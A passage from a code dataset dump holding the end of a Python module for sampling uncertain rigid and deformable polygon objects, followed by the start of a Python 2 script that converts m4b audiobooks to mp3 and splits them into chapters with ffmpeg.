self._variances=var\n        self._means=mean\n        self._bound_lower=bound_lower\n        self._bound_upper=bound_upper\n\n        utilities.msg('\\tgenerated {} samples for {} vertices'.format(n,np.size(self._x)),'v')\n\n    def plotStats(self,fignum=None,statsOfPoints=False,labels=[]):\n        \"\"\"\n        Outputs some statistics for the 3 generated parameters. The plot is not shown\n        until matplotlib show() is called\n\n        - *fignum*: the figure in which to plot the stats. If <0 plots into a new figure\n        - *statsOfPoints*: Generates a plot with the statisistics of the first 3 points\n          instead of origin_x, origin_y, and theta.\n        - *labels*: a list of length <=3 with labels to use for the statsOfPoints plot\n        \"\"\"\n\n        if statsOfPoints==False:\n            numpointstoplot=3\n            data=self._realizationsParams\n            if len(labels)==0:\n                labels=[\"origin_x\",\"origin_y\",\"theta (Deg)\"]\n\n            print(\"\\n\"+str(type(self)).replace(\"<class '\",\"\").replace(\"'>\",\"\"))\n            print(\"-----------------\")\n            print(\"Statistics for the first {} points\".format(numpointstoplot))\n            print(\"means {}:\".format(labels))\n            print(np.mean(data,axis=0)) #calculate the mean along the rows (ie down the columns)\n            print(\"correlation (columns/rows are {}\".format(labels))\n            print(np.corrcoef(data,rowvar=0))\n            print(\"covariance matrix\")\n            print(np.cov(data,rowvar=0))\n            utilities.pairs(data=data,figurenum=fignum,labels=labels)\n        else:\n            CrispObject.plotStats(self,fignum,labels)\n\nclass RigidObjectFromValues(RigidObject):\n    \"\"\"\n    A rigid object constructed out of a previously generated set of realizations of\n    x,y, and theta.\n\n    - *x, y*: numpy arrays of coordinate values of the original shape.\n    - *origin_x, origin_y*: the x,y coords of the rotation/translation origin.\n    - *theta*: the mean of the rotation angle in degrees.\n    - *unc_pts*: numpy array of 0 or 1 of length N indicating whether point i is to be considered\n      uncertain or not. 1=uncertain.\n    - *isClosed*: whther the object has a closed boundary\n    - *samples_x,samples_y,samples_t*: numpy arrays containing samples of the x,y coords and\n      rotation angle theta, of the origin.\n\n    This class is used by :class:`ObjectManager`.\n    \"\"\"\n    def __init__(self,x,y, origin_x, origin_y,unc_pts,isClosed,\n                 samples_x,samples_y,samples_t):\n\n        #build a fake covariance matrix. It doesn't matter for this object\n        #for rigid objects, its always a 3x3\n        cov=np.eye(3)\n\n        RigidObject.__init__(self, x,y, origin_x,origin_y,\n                             np.nan,cov,unc_pts,isClosed)\n\n        #stores the realizations of the translation an rotation parameters. Columns\n        #are: origin_x, origin_y, theta\n        self._realizationsParams=np.vstack((samples_x,samples_y,samples_t)).T\n\n        self._distortObject()\n\n    def generateNormal(self,n,translate=True,rotate=True):\n        raise NotImplementedError(\"CrispObject.RigidObjectFromValues(): this method is not supported for this object type\")\n\n    def generateUniform(self,n,translate=True,rotate=True):\n        raise NotImplementedError(\"CrispObject.RigidObjectFromValues(): this method is not supported for this object type\")\n\nclass DeformableObject(CrispObject):\n    \"\"\"\n    Represents a crisp, deformable object.\n\n    - *x*: A numpy array of x coordinates, length N\n    - *y*: A numpy array of y coordinates, length N\n    - *cov*: A numpy 2n-by-2n matrix containing the variances and co-variances within and\n      between points where n is the number of points. The rows and columns correspond\n      to the x and y covariances in sequence. E.g., for 2 points x0, y0, x1, y1, the\n      covariance  matrix's rows and columns are\n\n      == == == == ==\n      \\  x0 x1 y0 y1\n      == == == == ==\n      x0\n      x1\n      y0\n      y1\n      == == == == ==\n\n    - *unc_pts*: numpy array of length >= N. if the i'th position is 0, it indicates that point in the x,y arrays should not be considered uncertain.\n    - *isClosed*: whether the object will be treated as having a closed boundary\n    \"\"\"\n\n    def __init__(self,x,y,cov,unc_pts,isClosed=True):\n        if np.mod(np.size(cov,1),2)!=0:\n            raise Exception(\"the number of columns in the covariance matrix must be even\")\n\n        CrispObject.__init__(self,x,y,cov,unc_pts,isClosed)\n\n\n    def generateNormal(self,n):\n        \"\"\"\n        Generates a set of realizations for a deformable object using a multivariate normal.\n\n        - *n*: the number of realizations to generate\n        \"\"\"\n        utilities.msg(\"DeformableObj realizations for x,y: dist 'normal'\",'v')\n\n        #the column i in the output are the random points that corresponding\n        #to point i in the arrays x and y\n\n        self._lastDistr=None\n        self._realizationsPolygons=[]\n\n        self._realizations=distributions.generateNormal(np.concatenate((self._x,self._y)),\n                                                         self._cov,n)\n\n        #adjust the output for points which are not uncertain: For those points, set all\n        #the realizations to be equal to the specified x and y values.\n        numvars=np.size(self._realizations,1)\n        for i in range(len(self._unc_pts)):\n            if self._unc_pts[i]==0:\n                self._realizations[:,i]=self._x[i]\n                self._realizations[:,numvars/2+i]=self._y[i]\n\n        self._lastDistr=distributions.DIST_NORM\n\n        #used by objectmanager\n        self._variances=np.diag(self._cov)\n        self._means=np.concatenate((self._x,self._y))\n\n\n        utilities.msg('\\tgenerated {} samples for {} vertices'.format(n,np.size(self._x)),'v')\n\n    def generateUniform(self,n):\n        \"\"\"\n        Generates a set of realizations using a multivariate uniform.\n\n        - *n*: the number of realizations to generate\n\n        Note on the covariance matrix.\n            This matrix is specified in the same way\n            as for normally distributed variables.\n            The covariances are used to calculate the correlation coefficient, which\n            here, is interpreted as Spearman's (rank) correlation. Therefore, the outputs\n            will be rank correlated.\n        \"\"\"\n        utilities.msg(\"DeformableObj realizations for x,y: dist 'uniform'\",'v')\n\n        self._lastDistr=None\n\n        #the x vars are var[0:var.size/2]\n        #the y vars are var[var.size/2:var.size]\n        var=np.diag(self._cov)\n        mean=np.concatenate((self._x,self._y))\n        bound_lower=mean-np.sqrt(12*var)/2\n        bound_upper=mean+np.sqrt(12*var)/2\n        cor= utilities.cov2cor(self._cov)\n\n        self._realizations=distributions.generateUniform(bound_lower,bound_upper,cor,n)\n        self._realizationsPolygons=[]\n\n        #adjust the output for points which are not uncertain: For those points, set all\n        #the realizations to be equal to the specified x and y values.\n        numvars=np.size(self._realizations,1)\n        for i in range(len(self._unc_pts)):\n            if self._unc_pts[i]==0:\n                self._realizations[:,i]=self._x[i]\n                self._realizations[:,numvars/2+i]=self._y[i]\n\n        self._lastDistr=distributions.DIST_UNIF\n\n        #used by objectmanager\n        self._variances=var\n        self._means=mean\n        self._bound_lower=bound_lower\n        self._bound_upper=bound_upper\n\n        utilities.msg('\\tgenerated {} samples for {} vertices'.format(n,np.size(self._x)),'v')\n\n\nclass DeformableObjectFromValues(DeformableObject):\n    \"\"\"\n    Represents a crisp, deformable object constructed from previously generated values.\n\n    - *x*: A numpy array of x coordinates, length N\n    - *y*: A numpy array of y coordinates, length N\n    - *unc_pts*: numpy array of length >= N. if the i'th position is 0, it indicates that point in the x,y arrays should not be considered uncertain.\n    - *isClosed*: whether the object will be treated as having a closed boundary.\n    - *samples_x,samples_y*: numpy arrays containing samples of the x,y coords.\n    \"\"\"\n\n    def __init__(self,x,y,unc_pts,isClosed,samples_x,samples_y):\n        #build a fake covariance matrix. It doesn't matter for this object\n        cov=np.eye(np.size(x)*2)\n\n        DeformableObject.__init__(self,x,y,cov,unc_pts,isClosed)\n\n        #voodoo.\n        #this creates a matrix no matter if samples_x and samples_y are single values\n        #or arrays of values or ndarrays. This matrix is then converted back to\n        #an ndarray so as expected by the parent class\n        self._realizations=np.asarray(np.r_['r',np.hstack((samples_x,samples_y))])\n\n    def generateNormal(self,n):\n        raise NotImplementedError(\"CrispObject.DeformableObjectFromValues(): this method is not supported for this object type\")\n    def generateUniform(self,n):\n        raise NotImplementedError(\"CrispObject.DeformableObjectFromValues(): this method is not supported for this object type\")\n####################################################################################################\n# testing functions\n####################################################################################################\ndef _testRigid():\n    pt_x=np.r_[480.,485,520,510,520]\n    pt_y=np.r_[123.,100,105,110,117]\n    centroid_x=np.mean(pt_x)\n    centroid_y=np.mean(pt_y)\n    print(\"Centroid: {} {}\".format(centroid_x,centroid_y))\n    centroid_xv=2.\n    centroid_yv=2.\n\n    #in degrees\n    theta_mn=0.\n    theta_v=10\n\n    variances=np.r_[centroid_xv,centroid_yv,theta_v]\n    cor=np.r_[[\n                [1,     0,      0.8],\n                [0,     1,      0.8],\n                [0.8,   0.8,      1]\n            ]]\n    cov=utilities.cor2cov(cor,variances)\n\n    uncertain_pts=np.r_[1,0,1,1,1]\n\n    ro=RigidObject(pt_x,pt_y,centroid_x,centroid_y,theta_mn,cov,uncertain_pts,isClosed=False)\n    #test normal\n    ro.generateNormal(n=100,translate=True,rotate=False)\n    ro.plot(fignum=1)\n    plt.figure(1)                   #plot the original object\n    plt.plot(np.concatenate((pt_x,np.r_[pt_x[0]])),np.concatenate((pt_y,np.r_[pt_y[0]])),'-k')\n    ro.plotStats(fignum=2)\n\n    #test uniform rotation. The translation uncertainty from above is preserved\n    ro.generateUniform(n=100,translate=False,rotate=True)\n    ro.plot(fignum=3)\n    plt.figure(3)                   #plot the original object\n    plt.plot(np.concatenate((pt_x,np.r_[pt_x[0]])),np.concatenate((pt_y,np.r_[pt_y[0]])),'-k')\n    ro.plotStats(fignum=4,statsOfPoints=False)\n\ndef _testDeformable():\n    pt_x=np.r_[480.,485,520,510,520]\n    pt_y=np.r_[123.,100,105,110,117]\n\n    pt_xv=np.r_[10.,20,10,10,10]\n    pt_yv=np.r_[10.,20,10,10,10]\n\n    uncertain_pts=[1,0,1,1,1]\n\n    cov=np.r_[[\n        #x0         x1          x2          x3          x4          y0          y1          y2          y3          y4\n        [pt_xv[0],  0,          0,          0,          0,          -9,          0,          0,          0,          0],         #x0\n        [0,         pt_xv[1],   0,          0,          0,          0,          0,          0,          0,          0],         #x1\n        [0,         0,          pt_xv[2],   0,          0,          0,          0,          0,          0,          0],         #x2\n        [0,         0,          0,          pt_xv[3],   0,          0,          0,          0,          0,          0],         #x3\n        [0,         0,          0,          0,          pt_xv[4],   0,          0,          0,          0,          0],         #x4\n        [-9,         0,          0,          0,          0,          pt_yv[0],   0,          0,          0,          0],         #y0\n        [0,         0,          0,          0,          0,          0,          pt_yv[1],   0,          0,          0],         #y1\n        [0,         0,          0,          0,          0,          0,          0,          pt_yv[2],   0,          0],         #y2\n        [0,         0,          0,          0,          0,          0,          0,          0,          pt_yv[3],   0],         #y3\n        [0,         0,          0,          0,          0,          0,          0,          0,          0,          pt_yv[4]]   #y4\n    ]]\n\n    do=DeformableObject(x=pt_x,y=pt_y,cov=cov,unc_pts=uncertain_pts,isClosed=False)\n\n    do.generateNormal(n=5)     #first generate normally distributed uncertainty\n    do.plot(fignum=1,n=200)         #plot realizations\n    do.plotStats(fignum=2)\n    plt.figure(1)                   #plot the original object\n    plt.plot(np.concatenate((pt_x,np.r_[pt_x[0]])),np.concatenate((pt_y,np.r_[pt_y[0]])),'-k')\n    #do.simpleBuffer()\n\n    do.generateUniform(n=1000)    #now try uniformly distributed unceratinty.\n    do.plot(fignum=3,n=100)         #plot realization\n    do.plotStats(fignum=4)\n    plt.figure(3)                   #plot the original object\n    plt.plot(np.concatenate((pt_x,np.r_[pt_x[0]])),np.concatenate((pt_y,np.r_[pt_y[0]])),'-k')\n\n    plt.show()\n\nif __name__ == '__main__':\n    #utilities.clearall()\n\n    #_testRigid()\n    _testDeformable()\n","repo_name":"zoidy/wiggly","sub_path":"CrispObjects.py","file_name":"CrispObjects.py","file_ext":"py","file_size_in_byte":32315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73527947921","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\n######################################################################################\n######################################################################################\n##                              m4b split\n##  Author: valekhz\n##  Contrib: Alex5719, ElieDeBrauwer, zymos\n##  Date:   2010-2017\n##  Description: converts m4b to mp3 and splits file into chapters\n##  Requirements: ffmpeg, libmp4v2(optional)\n##\n##  Source: https://github.com/zymos/m4b-converter\n##\n##  References: https://github.com/valekhz/m4b-converter\n##\n#######################################################################################\n#######################################################################################\n\n\n##########################\n# Import\n#\nimport argparse\nimport ctypes\nimport datetime\nimport logging\nimport os\nimport re\nimport shutil\nimport subprocess\nimport sys\nfrom textwrap import dedent\n\n\n\n##########################\n# Objects\n#\nclass Chapter:\n    # MP4 Chapter info.\n    \"\"\"\n    Start, end, and duration times are stored in seconds.\n    \"\"\"\n    def __init__(self, title=None, start=None, end=None, num=None):\n        self.title = title\n        self.start = round(int(start)/1000.0, 3)\n        self.end = round(int(end)/1000.0, 3)\n        self.num = num\n\n    def duration(self):\n        if self.start is None or self.end is None:\n            return None\n        else:\n            return round(self.end - self.start, 3)\n\n    def __str__(self):\n        return '<Chapter Title=\"%s\", Start=%s, End=%s, Duration=%s>' % (\n            self.title,\n            datetime.timedelta(seconds=self.start),\n            datetime.timedelta(seconds=self.end),\n            datetime.timedelta(seconds=self.duration()))\n\n\n\n\n\n############################\n# Functions\n#\n\n\ndef run_command(log, cmdstr, values, action, ignore_errors=False, **kwargs):\n    # Executes external command (FFMPEG) \n    # cmdstr = cmdstr + \"xxx\" # add and error to capture\n\n    log.debug(\"Run_command: Command: %s\" % cmdstr)\n    log.debug(\"Run_command: Command with values: %s\" % cmdstr%values)\n    log.debug(\"Run_command: Action description: %s\" % action)\n\n    cmd = []\n\n    # cmdstr=re.sub(' +', ' ', cmdstr)\n    for opt in cmdstr.split(' '):\n        cmd.append(opt % values)\n    proc = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE )\n\n    (stdout, output) = proc.communicate()\n    if not ignore_errors and not proc.returncode == 0:\n        msg = dedent('''\n            An error occurred while %s.\n              Command: %s\n              Return code: %s\n              Output: ---->\n            %s''')\n        log.error(msg % (action, cmdstr % values, proc.returncode, output))\n        sys.exit(1)\n    return output\n\n\n\ndef parse_args():\n    # Parse command line arguments.\n\n    parser = argparse.ArgumentParser(\n        description='Split m4b audio book by chapters.')\n\n    parser.add_argument('-o', '--output-dir', help='directory to store encoded files',\n                        metavar='DIR')\n    parser.add_argument('--custom-name', metavar='\"STR\"',\n                        help='customize chapter filenames (see README)')\n    parser.add_argument('--ffmpeg', default='ffmpeg', metavar='BIN',\n                        help='path to ffmpeg binary (redundunt use encoder)')\n    parser.add_argument('--encoder', metavar='BIN',\n                        help='path to encoder binary (default: ffmpeg)')\n    parser.add_argument('--encode-opts', default='-loglevel %(loglevel)s -y -i %(infile)s -ar %(sample_rate)d -ab %(bit_rate)dk -c:v copy %(outfile)s',\n                        metavar='\"STR\"', help='custom encoding string (see README)')\n    parser.add_argument('--ext', default='mp3', help='extension of encoded files (aac,flac,etc)')\n    parser.add_argument('--pipe-wav', action='store_true', help='pipe wav to encoder')\n    parser.add_argument('--skip-encoding', action='store_true',\n                        help='do not encode audio (keep as .mp4)')\n    parser.add_argument('--no-mp4v2', action='store_true',\n                        help='use ffmpeg to retrieve chapters (not recommended)')\n    parser.add_argument('--debug', action='store_true',\n                        help='output debug messages and save to log file, also keeps tmp files')\n    parser.add_argument('filename', help='m4b file(s) to be converted', nargs='+')\n\n    parser.add_argument('--keep-tmp-files', action='store_true', \n            help='keep temporary files')\n    parser.add_argument('--not-audiobook', action='store_true', \n            help='do not add genre=Audiobook')\n    parser.add_argument('-b', '--bitrate', type=int, \n            help='bitrate for mp3 encoding, integer (example 64)')\n    parser.add_argument('-s', '--samplerate', type=int,\n            help='sample rate for mp3 encoding (example 22050')\n    parser.add_argument('--extract-cover-art', action='store_true', \n            help='extracts cover art as cover.jpg')\n\n\n    args = parser.parse_args()\n    \n    # if(args.custom_name):\n        \n    # else:\n        # args.custom_name = '%(num)03d \\- %(title)s'\n        # args.custom_name_ = 1\n    cwd = os.path.dirname(__file__)\n\n    # Required when dropping m4b files onto m4b.py\n    if not cwd == '':\n        os.chdir(cwd)\n        if args.output_dir is None:\n            args.output_dir = cwd\n    else:\n        if args.output_dir is None:\n            args.output_dir = os.getcwd()\n\n\n    if args.encoder is None:\n        args.encoder = args.ffmpeg\n\n    return args\n\n\n\n\ndef setup_logging(args, basename):\n    # Setup logger. \n    \"\"\"In debug mode debug messages will be saved to a log file.\"\"\"\n\n    log = logging.getLogger(basename)\n\n    sh = logging.StreamHandler()\n    formatter = logging.Formatter(\"%(levelname)s: %(message)s\")\n\n    sh.setFormatter(formatter)\n\n    if args.debug:\n        level = logging.DEBUG\n        filename = '%s.log' % basename\n        fh = logging.FileHandler(os.path.join(os.path.dirname(__file__), filename), 'w')\n        fh.setLevel(level)\n        log.addHandler(fh)\n    else:\n        level = logging.INFO\n\n    log.setLevel(level)\n    sh.setLevel(level)\n    log.addHandler(sh)\n\n    log.debug('Logging started.')\n    if args.debug:\n        s = ['Options:']\n        for k, v in args.__dict__.items():\n            s.append('    %s: %s' % (k, v))\n        log.debug('\\n'.join(s))\n    return log\n\n\n\n\ndef ffmpeg_metadata(args, log, filename):\n    # Load metadata using the command output from ffmpeg.\n    \"\"\"\n    Note: Not all chapter types are supported by ffmpeg and there's no Unicode support.\n    ffprobe might work better\n    \"\"\"\n\n    chapters = []\n    \n    # Grabbing metadata from ffmpeg, \n    # using 'ffprobe -show_chapters -print_format csv'  would work too\n    values = dict(ffmpeg=args.ffmpeg, infile=filename)\n    cmd = '%(ffmpeg)s -i %(infile)s'\n    log.debug('Retrieving metadata from output of command: %s' % (cmd % values))\n\n    output = run_command(log, cmd, values, 'retrieving metadata from ffmpeg output',\n        ignore_errors=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    raw_metadata = (output.split(\"    Chapter \")[0]).split('Input #')[1]\n    raw_chapters = output.split(\"    Chapter \")[1:]\n\n    # Parse stream and metadata\n    re_stream = re.compile(r'[\\s]+Stream .*: Audio: .*, ([\\d]+) Hz, .*, .*, ([\\d]+) kb\\/s')\n    re_duration = re.compile(r'[\\s]+Duration: (.*), start: (.*), bitrate: ([\\d]+) kb\\/s')\n\n    try:\n        stream = re_stream.search(output)\n        sample_rate, bit_rate = int(stream.group(1)), int(stream.group(2))\n    except Exception:\n        sample_rate, bit_rate = 44100, 64\n\n    metadata = {}\n    for meta in raw_metadata.split('\\n')[2:]:\n        if meta.startswith('  Duration: '):\n            m = re_duration.match(meta)\n            if m:\n                metadata['duration'] = m.group(1).strip()\n                metadata['start'] = m.group(2).strip()\n        else:\n            key = (meta.split(':')[0]).strip()\n            value = (':'.join(meta.split(':')[1:])).strip()\n            metadata[key] = value\n\n    # Parse chapters\n    re_chapter = re.compile('^#[\\d\\.]+: start ([\\d|\\.]+), end ([\\d|\\.]+)[\\s]+Metadata:[\\s]+title[\\s]+: (.*)')\n    n = 1\n    for raw_chapter in raw_chapters:\n        m = re.match(re_chapter, raw_chapter.strip())\n        start = float(m.group(1)) * 1000\n        e = float(m.group(2)) * 1000\n        duration = e - start\n        title = unicode(m.group(3), errors='ignore').strip()\n        chapter = Chapter(num=n, title=title, start=start, end=e)\n        chapters.append(chapter)\n        n += 1\n\n    return chapters, sample_rate, bit_rate, metadata\n\n\n\ndef mp4v2_metadata(filename):\n    # Load metadata with libmp4v2. \n    \"\"\"Supports both chapter types and Unicode.\"\"\"\n\n    from libmp4v2 import MP4File\n\n    mp4 = MP4File(filename)\n    mp4.load_meta()\n\n    chapters = mp4.chapters\n    sample_rate = mp4.sample_rate\n    bit_rate = mp4.bit_rate\n    metadata = {}\n\n    mp4.close()\n\n    return chapters, sample_rate, bit_rate, metadata\n\n\n\ndef load_metadata(args, log, filename):\n    # Load metadata from ffmpeg or libmp4v2\n    if args.no_mp4v2:\n        log.debug('Loading metadata using ffmpeg...')\n        return ffmpeg_metadata(args, log, filename)\n    else:\n        log.debug('Loading metadata using libmp4v2...')\n        return mp4v2_metadata(filename)\n\n\n\ndef show_metadata_info(args, log, chapters, sample_rate, bit_rate, metadata):\n    # Show a summary of the parsed metadata.\n\n    log.info(dedent('''\n        \\tDetected M4B Metadata:\n          \\t  Chapters: %d\n          \\t  Bit rate: %d kbit/s\n          \\t  Sampling freq: %d Hz''' % (len(chapters), bit_rate, sample_rate)))\n\n    if args.debug and chapters:\n        log.debug(dedent('''\n            \\tChapter data:\n              \\t  %s''' % '\\n'.join(['  %s' % c for c in chapters])))\n\n    if args.no_mp4v2 and not chapters:\n        log.warning(\"No chapters were found. There may be chapters present but ffmpeg can't read them. Try to enable mp4v2.\")\n        log.info('Do you want to continue? (y/N)')\n        cont = raw_input('> ')\n        if not cont.lower().startswith('y'):\n            sys.exit(1)\n\n\n\ndef extract_cover_art(args, log, output_dir, filename):\n    # Extract the cover art to 'cover.jpg'.\n    \n    cover_file= os.path.join(output_dir, \"cover.jpg\")\n\n    extract_values = dict(ffmpeg=args.ffmpeg, orig_file=filename, cover_file=cover_file)\n\n    if(os.path.exists(cover_file)):\n        log.debug('cover.jpg file already exists')\n    else:\n        extract_cmd = '%(ffmpeg)s -i %(orig_file)s -an -f image2 %(cover_file)s'\n        # maybe add this -vframes 1\n        log.info('Extracting cover art...')\n        log.debug('Extract cover art command: %s' % (extract_cmd % extract_values))\n        run_command(log, extract_cmd, extract_values, 'extracting cover art', stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n        if(not(os.path.exists(cover_file))):\n            log.info('Warning: cover art could not be extracted, this is a bug, sorry.')\n\n\n\n\ndef encode(args, log, output_dir, temp_dir, filename, basename, sample_rate, bit_rate, metadata):\n    # Encode audio.\n\n    # Create output and temp directory\n    if not os.path.isdir(output_dir):\n        os.makedirs(output_dir)\n    if not os.path.isdir(temp_dir):\n        os.makedirs(temp_dir)\n\n    if args.skip_encoding:\n        encoded_file = filename\n        args.ext = 'mp4'\n        return encoded_file\n    else:\n        fname = '%s.%s' % (basename, args.ext)\n        encoded_file = os.path.join(temp_dir, fname)\n\n    if(not(args.bitrate is None)): #bitrate from args\n        log.debug('Setting bitrate to %d kbps' % (args.bitrate))\n        bit_rate=args.bitrate\n    elif(bit_rate <= 32 ): # \n        log.debug('Changing bitrate from %dk to 32k, to increase compatability' % bit_rate)\n        bit_rate=32   \n    elif(bit_rate >= 33 and bit_rate <= 48 ):  \n        log.debug('Changing bitrate from %dk to 48k, to increase compatability' % bit_rate)\n        bit_rate=48\n    elif(bit_rate >= 49 and bit_rate <= 64 ): # bitrate of 63k is common for m4b, but not mp3\n        log.debug('Changing bitrate from %dk to 64k, to increase compatability' % bit_rate)\n        bit_rate=64        \n    elif(bit_rate >= 65 and bit_rate <= 96 ):\n        log.debug('Changing bitrate from %dk to 96k, to increase compatability' % bit_rate)\n        bit_rate=96\n    elif(bit_rate >= 97 and bit_rate <= 159 ): \n        log.debug('Changing bitrate from %dk to 128k, to increase compatability' % bitrate)\n        bit_rate=128\n    elif(bit_rate >= 160 ): \n        log.debug('Changing bitrate from %dk to 160k, to increase compatability' % bitrate)\n        bit_rate=160        \n    if(not(args.samplerate is None)): # sample rate from args\n        log.debug('Setting sample rate to %d Hz' % (args.samplerate))\n        sample_rate=args.samplerate\n\n    if(args.debug): # improved ffmpeg debug output\n        ffmpeg_loglevel='debug'\n    else:\n        ffmpeg_loglevel='panic'\n\n\n    cmd_values = dict(ffmpeg=args.ffmpeg, encoder=args.encoder, infile=filename,\n        sample_rate=sample_rate, bit_rate=bit_rate, outfile=encoded_file, loglevel=ffmpeg_loglevel)\n\n    if os.path.isfile(encoded_file):\n        log.info(\"Found a previously encoded file '%s'. Do you want to re-encode it? (y/N/q)\" % encoded_file)\n        i = raw_input('> ')\n        if i.lower().startswith('q'):\n            sys.exit(0)\n        elif not i.lower() == 'y':\n            return encoded_file\n\n    # Build encoding options\n    if not '%(outfile)s' in args.encode_opts:\n        log.error('%(outfile)s needs to be present in the encoding options. See the README.')\n        sys.exit(1)\n    \n\n    encode_cmd = '%%(encoder)s %s' % args.encode_opts\n    if args.pipe_wav:\n        encode_cmd = '%(ffmpeg)s -i %(infile)s -f wav pipe:1 | ' + encode_cmd\n    \n    log.info(dedent('''\n        \\tEncoding %s:\n          \\t  Bit rate: %d kbit/s\n          \\t  Sampling freq: %d Hz''' % (args.ext, bit_rate, sample_rate)))\n    log.info('Encoding audio (may take some time)...')\n    log.debug('Encoding with command: %s' % (encode_cmd % cmd_values))\n\n    encode_cmd = re.sub(' +', ' ', encode_cmd) # double spaces change output to ' '\n    run_command(log, encode_cmd, cmd_values, 'encoding audio', shell=args.pipe_wav, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n\n    return encoded_file\n\n\n\ndef split(args, log, output_dir, encoded_file, chapters, temp_dir):\n    # Split encoded audio file into chapters.\n    \"\"\"\n    Note: ffmpeg on Windows can't take filenames with Unicode characters so we\n    write the split file to a non-unicode temp file then rename it. This is not\n    necessary on other platforms.\n    \"\"\"\n    re_format = re.compile(r'%\\(([A-Za-z0-9]+)\\)')\n    re_sub = re.compile(r'[\\\\\\*\\?\\\"\\<\\>\\|]+')\n\n    if(len(chapters) == 0): # no chapters, single file\n        log.info(\"No chapters: using single encoded file\")\n        log.debug('Moving \\n%s to \\n%s' % (encoded_file,output_dir))\n        try:\n            shutil.move(encoded_file,output_dir)\n        except:\n            log.debug(\"File already exists,\")\n            log.debug('Removing %s' % (os.path.join(output_dir, os.path.basename(encoded_file))))\n            os.remove(os.path.join(output_dir, os.path.basename(encoded_file)))\n            try:\n                log.debug('Moving \\n%s to \\n%s' % (os.path.basename(encoded_file),output_dir))\n                shutil.move(encoded_file,output_dir)\n            except:\n                log.info(\"Error there is a problem\")\n    else:\n        # for each chapter\n        for chapter in chapters:\n            values = dict(num=chapter.num, title=chapter.title, start=chapter.start, end=chapter.end, duration=chapter.duration(), chapters_total=len(chapters))\n            \n            # Create output filename\n            # remove special chars, control chars and all around anoying chars\n            if(not(args.custom_name)):\n                 custom_name = '%(num)03d - %(title)s'\n            else:\n                 custom_name = args.custom_name\n            chapter_name = re_sub.sub('', (custom_name % values).replace('/', '-').replace(':', '-'))\n            if not isinstance(chapter_name, unicode):\n                chapter_name = unicode(chapter_name, 'utf-8')\n            chapter_name = re.sub('[^a-zA-Z0-9!\\(\\)\\.,_\\-µÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ ]', '', chapter_name) # remove annoying chars\n            # if chap name is blank or title=chap_num, correct\n            if(chapter_name == ''): \n                log.debug(\"Invalid chapter name: %s, using '%(num)03d\", chapter_name)              \n                chapter_name = \"%03d\" % chapter.num\n            if(chapter.title == \"%03d\" % chapter.num): \n                log.debug(\"Chapter number is the same as title, removing redundancy\")              \n                chapter_name = \"%03d\" % chapter.num\n                # print(chapter_name)\n                # sys.exit(0)\n\n\n            chapter_name = re.sub(' +', ' ', chapter_name) # remove multiple space\n\n            # temporarly rename file in windows\n            if sys.platform.startswith('win'):\n                fname = os.path.join(output_dir, '_tmp_%d.%s' % (chapter.num, args.ext))\n            else:\n                fname = os.path.join(output_dir, '%s.%s' % (chapter_name, args.ext))\n            \n            # cover art\n            # cover_file=os.path.join(temp_dir, \"cover.jpg\")\n            # if(chapter.num == 1):\n                # cover_param='-c:v copy'\n            # elif(os.path.exists(cover_file)):\n                # log.debug(\"Adding cover metadata\")\n                # cover_param = '-i %(cover_file)s -map 0 -map 1 -c:v copy -metadata:s:v title=%(cover_title)s -metadata:s:v comment=%(cover_comment)s'\n                # ffmpeg -i original.mp3 -i cover.png -map 0:0 -map 1:0 -metadata:s:v title=\"Album cover\" -metadata:s:v comment=\"Cover (Front)\" -id3v2_version 3 -write_id3v1 1 result.mp3\n            # else: # no cover exist\n                # cover_param=''\n                # log.debug(\"No cover.jpg, not adding the metadata\")\n            metadata_param=''\n            if(not(args.not_audiobook)): # add genre=Audiobook, should work with mp3 and m4b\n                # log.debug(\"Adding genre=Audiobook\")\n                metadata_genre='-metadata genre=Audiobook' # -metadata:s:a genre=Audiobook maybe\n                metadata_param=metadata_genre\n            if(args.ext == 'mp3'): # add ID3 tag\n                # log.debug(\"Adding mp3 id3\")\n                metadata_id3='-id3v2_version 3 -write_id3v1 1'\n                metadata_param=\" \".join([metadata_param, metadata_id3])\n            # log.debug(\"Adding track metadata\")\n            metadata_track='-metadata track=' + str(chapter.num) + '/' + str(len(chapters))\n            metadata_param=\" \".join([metadata_param, metadata_track])\n            log.debug(\"metadata params: %s\", metadata_param)\n            # metadata_param='-metadata genre=Audiobook -metadata track=1/1' \n            # cover_param='-c:v copy'\n\n            if(args.debug):\n                ffmpeg_loglevel='debug'\n            else:\n                ffmpeg_loglevel='panic'\n\n            # Get ready to reencode\n            values = dict(ffmpeg=args.ffmpeg, duration=str(chapter.duration()),\n                start=str(chapter.start), metadata=metadata_param,\n                tmp_enc_file=encoded_file, chap_file=fname.encode('utf-8'),\n                loglevel=ffmpeg_loglevel)\n            if(chapter.num == len(chapters)): # last chapter\n                split_cmd = '%(ffmpeg)s -loglevel %(loglevel)s -y -i %(tmp_enc_file)s -c:a copy ' + metadata_param + ' -c:v copy -ss %(start)s %(chap_file)s'\n                log.debug(\"Last chapter encode\")\n            else:\n                split_cmd = '%(ffmpeg)s -loglevel %(loglevel)s -y -i %(tmp_enc_file)s -c:a copy ' + metadata_param + ' -c:v copy -t %(duration)s -ss %(start)s %(chap_file)s'\n\n            # split_cmd = '%(ffmpeg)s -loglevel %(loglevel)s -y -i %(tmp_enc_file)s ' + cover_param + ' -c:a copy ' + metadata_param + ' -t %(duration)s -ss %(start)s %(chap_file)s'\n            split_cmd = re.sub(' +', ' ', split_cmd) # double spaces change output to ' '\n            #split_cmd = '%(ffmpeg)s -y -i %(outfile)s -c:a copy -c:v copy -t %(duration)s -ss %(start)s -metadata track=\"%(num)s/%(chapters_total)s\" -id3v2_version 3 %(infile)s'\n            # -metadata track=\"X/Y\" -id3v2_version 3 -write_id3v1 1\n            log.info(\"Splitting chapter %2d/%2d '%s.%s'...\" % (chapter.num, len(chapters), chapter_name, args.ext))\n            log.debug('Splitting with command: %s' % (split_cmd % values))\n\n            run_command(log, split_cmd, values, 'splitting audio file', stdout=subprocess.PIPE, 